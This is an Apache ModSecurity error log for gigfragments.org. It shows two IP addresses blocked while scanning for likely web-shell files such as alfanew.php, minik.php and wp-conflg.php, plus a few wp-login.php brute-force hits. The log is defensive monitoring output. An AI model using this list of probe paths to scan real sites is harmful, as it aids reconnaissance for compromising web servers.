[Thu Dec 25 22:41:01.090825 2025] [:error] [pid 22043:tid 22048] [client 4.217.192.251:64278] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aU1M_T4YVtlb2Iz_QE5adAAAAAA"]
[Thu Dec 25 22:41:01.385057 2025] [:error] [pid 22044:tid 22091] [client 4.217.192.251:52159] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aU1M_XPTC5rQKTB0FQ-rBwAAANA"]
[Thu Dec 25 22:41:01.678022 2025] [:error] [pid 27869:tid 27880] [client 4.217.192.251:5515] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aU1M_RNK7_n86kBD7qfoogAAAIk"]
[Thu Dec 25 22:41:01.960513 2025] [:error] [pid 22044:tid 22094] [client 4.217.192.251:64310] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aU1M_XPTC5rQKTB0FQ-rCQAAANM"]
[Thu Dec 25 22:41:02.251685 2025] [:error] [pid 27869:tid 27874] [client 4.217.192.251:64290] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aU1M_hNK7_n86kBD7qfoowAAAIM"]
[Thu Dec 25 22:41:02.564370 2025] [:error] [pid 27869:tid 27888] [client 4.217.192.251:57380] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aU1M_hNK7_n86kBD7qfopAAAAJE"]
[Thu Dec 25 22:41:02.877490 2025] [:error] [pid 27869:tid 27875] [client 4.217.192.251:57677] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aU1M_hNK7_n86kBD7qfopQAAAIQ"]
[Thu Dec 25 22:41:03.171197 2025] [:error] [pid 22043:tid 22049] [client 4.217.192.251:65282] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aU1M_z4YVtlb2Iz_QE5adgAAAAE"]
[Thu Dec 25 22:41:03.482219 2025] [:error] [pid 27869:tid 27884] [client 4.217.192.251:5612] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aU1M_xNK7_n86kBD7qfopwAAAI0"]
[Thu Dec 25 22:41:03.805175 2025] [:error] [pid 22044:tid 22080] [client 4.217.192.251:52114] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aU1M_3PTC5rQKTB0FQ-rDgAAAMU"]
[Thu Dec 25 22:41:04.096533 2025] [:error] [pid 22043:tid 22057] [client 4.217.192.251:5505] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aU1NAD4YVtlb2Iz_QE5aeAAAAAk"]
[Thu Dec 25 22:41:04.419327 2025] [:error] [pid 22043:tid 22068] [client 4.217.192.251:5344] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aU1NAD4YVtlb2Iz_QE5aeQAAABQ"]
[Thu Dec 25 22:41:04.717133 2025] [:error] [pid 22131:tid 22158] [client 4.217.192.251:57711] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aU1NAJvVMtSTB4lX2fY_VwAAAFY"]
[Thu Dec 25 22:41:05.039689 2025] [:error] [pid 27869:tid 27891] [client 4.217.192.251:64265] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aU1NARNK7_n86kBD7qfoqgAAAJQ"]
[Thu Dec 25 22:41:05.347307 2025] [:error] [pid 22045:tid 22126] [client 4.217.192.251:55433] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aU1NAasGGmXjDnvlmHt3bwAAAVg"]
[Thu Dec 25 22:41:05.683012 2025] [:error] [pid 22044:tid 22078] [client 4.217.192.251:55438] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aU1NAXPTC5rQKTB0FQ-rEAAAAMM"]
[Thu Dec 25 22:41:05.977345 2025] [:error] [pid 22043:tid 22060] [client 4.217.192.251:64264] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aU1NAT4YVtlb2Iz_QE5afgAAAAw"]
[Thu Dec 25 22:41:06.287743 2025] [:error] [pid 22043:tid 22052] [client 4.217.192.251:64274] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aU1NAj4YVtlb2Iz_QE5agAAAAAQ"]
[Thu Dec 25 22:41:06.590437 2025] [:error] [pid 22043:tid 22053] [client 4.217.192.251:61634] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aU1NAj4YVtlb2Iz_QE5aggAAAAU"]
[Thu Dec 25 22:41:06.880538 2025] [:error] [pid 22043:tid 22067] [client 4.217.192.251:57685] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aU1NAj4YVtlb2Iz_QE5agwAAABM"]
[Thu Dec 25 22:41:07.200235 2025] [:error] [pid 27869:tid 27873] [client 4.217.192.251:5366] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aU1NAxNK7_n86kBD7qforQAAAII"]
[Thu Dec 25 22:41:07.505399 2025] [:error] [pid 22131:tid 22135] [client 4.217.192.251:61655] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aU1NA5vVMtSTB4lX2fY_XAAAAEI"]
[Thu Dec 25 22:41:07.787911 2025] [:error] [pid 22045:tid 22103] [client 4.217.192.251:5578] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aU1NA6sGGmXjDnvlmHt3dAAAAUE"]
[Thu Dec 25 22:41:08.091843 2025] [:error] [pid 22045:tid 22102] [client 4.217.192.251:5585] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aU1NBKsGGmXjDnvlmHt3dQAAAUA"]
[Thu Dec 25 22:41:08.388698 2025] [:error] [pid 22045:tid 22116] [client 4.217.192.251:60832] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aU1NBKsGGmXjDnvlmHt3dwAAAU4"]
[Thu Dec 25 22:41:08.693397 2025] [:error] [pid 22045:tid 22109] [client 4.217.192.251:64316] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aU1NBKsGGmXjDnvlmHt3eAAAAUc"]
[Thu Dec 25 22:41:08.982657 2025] [:error] [pid 22045:tid 22121] [client 4.217.192.251:55442] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aU1NBKsGGmXjDnvlmHt3eQAAAVM"]
[Thu Dec 25 22:41:09.281677 2025] [:error] [pid 22044:tid 22089] [client 4.217.192.251:65280] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aU1NBXPTC5rQKTB0FQ-rFQAAAM4"]
[Thu Dec 25 22:41:09.550355 2025] [:error] [pid 22044:tid 22090] [client 4.217.192.251:60840] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aU1NBXPTC5rQKTB0FQ-rFgAAAM8"]
[Thu Dec 25 22:41:09.827337 2025] [:error] [pid 22131:tid 22133] [client 4.217.192.251:57704] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aU1NBZvVMtSTB4lX2fY_XgAAAEA"]
[Thu Dec 25 22:41:10.104039 2025] [:error] [pid 22131:tid 22151] [client 4.217.192.251:5348] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aU1NBpvVMtSTB4lX2fY_XwAAAFA"]
[Thu Dec 25 22:41:10.374672 2025] [:error] [pid 22043:tid 22066] [client 4.217.192.251:61640] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aU1NBj4YVtlb2Iz_QE5ahgAAABI"]
[Fri Dec 26 00:49:42.747633 2025] [:error] [pid 24863:tid 24894] [client 4.193.224.251:8970] [client 4.193.224.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.224.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU1rJh8SaH2KMpp43vfd0AAAAME"]
[Fri Dec 26 00:49:43.862778 2025] [:error] [pid 24863:tid 24905] [client 4.193.224.251:8970] [client 4.193.224.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.224.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU1rJx8SaH2KMpp43vfd0wAAAMw"]
[Fri Dec 26 00:49:50.365130 2025] [:error] [pid 24864:tid 24934] [client 4.193.224.251:9208] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aU1rLsu59XOK5DpQQdCGYgAAAU4"]
[Fri Dec 26 00:49:50.547224 2025] [:error] [pid 24864:tid 24943] [client 4.193.224.251:9164] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aU1rLsu59XOK5DpQQdCGZAAAAVc"]
[Fri Dec 26 00:49:50.733036 2025] [:error] [pid 24864:tid 24929] [client 4.193.224.251:9179] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aU1rLsu59XOK5DpQQdCGZQAAAUk"]
[Fri Dec 26 00:49:50.913851 2025] [:error] [pid 24862:tid 24866] [client 4.193.224.251:9176] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aU1rLrt-eeEEuo-2JKghsQAAAAA"]
[Fri Dec 26 00:49:51.107710 2025] [:error] [pid 24862:tid 24884] [client 4.193.224.251:9209] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aU1rL7t-eeEEuo-2JKghsgAAABI"]
[Fri Dec 26 00:49:51.295294 2025] [:error] [pid 24863:tid 24897] [client 4.193.224.251:9171] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aU1rLx8SaH2KMpp43vfd3AAAAMQ"]
[Fri Dec 26 00:49:51.480477 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:9155] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aU1rL8u59XOK5DpQQdCGZgAAAVM"]
[Fri Dec 26 00:49:51.681893 2025] [:error] [pid 24946:tid 24958] [client 4.193.224.251:9177] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aU1rL1fyLYxv3Jn9S70wQAAAAEo"]
[Fri Dec 26 00:49:51.873252 2025] [:error] [pid 24863:tid 24901] [client 4.193.224.251:9188] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aU1rLx8SaH2KMpp43vfd3wAAAMg"]
[Fri Dec 26 00:49:52.054615 2025] [:error] [pid 24946:tid 24969] [client 4.193.224.251:9214] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aU1rMFfyLYxv3Jn9S70wQQAAAFU"]
[Fri Dec 26 00:49:52.271734 2025] [:error] [pid 24946:tid 24967] [client 4.193.224.251:9202] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aU1rMFfyLYxv3Jn9S70wQgAAAFM"]
[Fri Dec 26 00:49:52.449837 2025] [:error] [pid 24863:tid 24914] [client 4.193.224.251:8983] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aU1rMB8SaH2KMpp43vfd4QAAANU"]
[Fri Dec 26 00:49:52.667151 2025] [:error] [pid 24862:tid 24889] [client 4.193.224.251:9193] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aU1rMLt-eeEEuo-2JKghswAAABc"]
[Fri Dec 26 00:49:52.906628 2025] [:error] [pid 24862:tid 24869] [client 4.193.224.251:9201] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aU1rMLt-eeEEuo-2JKghtQAAAAM"]
[Fri Dec 26 00:49:53.135740 2025] [:error] [pid 24946:tid 24956] [client 4.193.224.251:8965] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aU1rMVfyLYxv3Jn9S70wQwAAAEg"]
[Fri Dec 26 00:49:53.345462 2025] [:error] [pid 24946:tid 24966] [client 4.193.224.251:8985] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aU1rMVfyLYxv3Jn9S70wRAAAAFI"]
[Fri Dec 26 00:49:53.558964 2025] [:error] [pid 24946:tid 24972] [client 4.193.224.251:8960] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aU1rMVfyLYxv3Jn9S70wRQAAAFg"]
[Fri Dec 26 00:49:53.763308 2025] [:error] [pid 24862:tid 24888] [client 4.193.224.251:9162] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aU1rMbt-eeEEuo-2JKghtgAAABY"]
[Fri Dec 26 00:49:53.984333 2025] [:error] [pid 24863:tid 24906] [client 4.193.224.251:8967] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aU1rMR8SaH2KMpp43vfd5QAAAM0"]
[Fri Dec 26 00:49:54.163479 2025] [:error] [pid 24946:tid 24948] [client 4.193.224.251:8705] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aU1rMlfyLYxv3Jn9S70wRwAAAEA"]
[Fri Dec 26 00:49:54.350711 2025] [:error] [pid 24946:tid 24960] [client 4.193.224.251:9174] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aU1rMlfyLYxv3Jn9S70wSAAAAEw"]
[Fri Dec 26 00:49:54.526755 2025] [:error] [pid 24946:tid 24959] [client 4.193.224.251:8995] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aU1rMlfyLYxv3Jn9S70wSQAAAEs"]
